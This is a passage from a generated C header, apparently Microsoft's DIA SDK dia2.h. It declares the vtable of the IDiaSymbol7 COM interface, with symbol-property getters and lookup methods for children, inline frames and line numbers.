[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol7 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol7 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol7 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol7 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol7 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol7 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol7 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol7 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol7 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol7 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol7 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol7 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol7 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol7 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol7 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol7 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol7 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol7 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol7 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol7 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol7 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol7 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol7 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol7 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol7 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ 